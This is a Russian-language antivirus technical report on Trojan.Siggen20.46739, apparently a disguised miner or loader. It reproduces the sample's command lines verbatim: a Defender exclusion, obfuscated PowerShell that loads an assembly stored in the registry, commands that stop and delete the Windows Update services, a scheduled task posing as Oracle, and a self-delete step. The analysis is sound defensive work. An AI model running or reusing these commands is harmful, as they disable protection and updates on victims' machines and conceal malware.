Trojan.Siggen20.46739

Техническая информация

Для обеспечения автозапуска и распространения

Создает или изменяет следующие файлы

<SYSTEM32>\tasks\oracle corporation
<SYSTEM32>\tasks\dialersvc32
<SYSTEM32>\tasks\dialersvc64

Вредоносные функции

Для затруднения выявления своего присутствия в системе

добавляет исключения антивируса:

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force

Внедряет код в

следующие системные процессы:

<SYSTEM32>\conhost.exe

Изменения в файловой системе

Создает следующие файлы

%APPDATA%\dialer_javaapps\jre1.8.0_341\bin\dialer_java.exe
%TEMP%\uexbjpiv.tmp

Изменяет файл HOSTS.

Самоудаляется.

Другое

Создает и запускает на исполнение

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' <#rquxxx#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /...
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+'T'+''+'W'+''+'A'+'R'+[Char](69)+'').GetValue(''+[Char](100)+''+[Ch...' (со скрытым окном)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFT'+[Char](87)+''+'A'+''+[Char](82)+'E').GetValue('di'+'a'+'l'+[Char](101)+''+[Char](114)+''+'s'+'t'+[Char](9...' (со скрытым окном)

Запускает на исполнение

'<SYSTEM32>\cmd.exe' /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFT'+[Char](87)+''+'A'+''+[Char](82)+'E').GetValue('di'+'a'+'l'+[Char](101)+''+[Char](114)+''+'s'+'t'+[Char](9...
'<SYSTEM32>\choice.exe' /C Y /N /D Y /T 3
'<SYSTEM32>\cmd.exe' /c choice /C Y /N /D Y /T 3 & Del "<Полный путь к файлу>"
'<SYSTEM32>\dialer.exe'
'<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
'<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
'<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
'<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0
'<SYSTEM32>\schtasks.exe' /create /f /sc onlogon /rl highest /tn "Oracle Corporation" /tr '%APPDATA%\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exe'
'<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
'<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
'<SYSTEM32>\sc.exe' stop dosvc
'<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0
'<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0
'<SYSTEM32>\sc.exe' stop bits
'<SYSTEM32>\sc.exe' stop wuauserv
'<SYSTEM32>\sc.exe' stop WaaSMedicSvc
'<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0
'<SYSTEM32>\sc.exe' stop UsoSvc
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' <#uquccxa#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([Syste...
'<SYSTEM32>\cmd.exe' /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentContr...
'<SYSTEM32>\schtasks.exe' /run /tn Oracle Corporation
'<SYSTEM32>\dllhost.exe' /Processid:{53a820c9-22a9-434c-a817-f90c0e3de14e}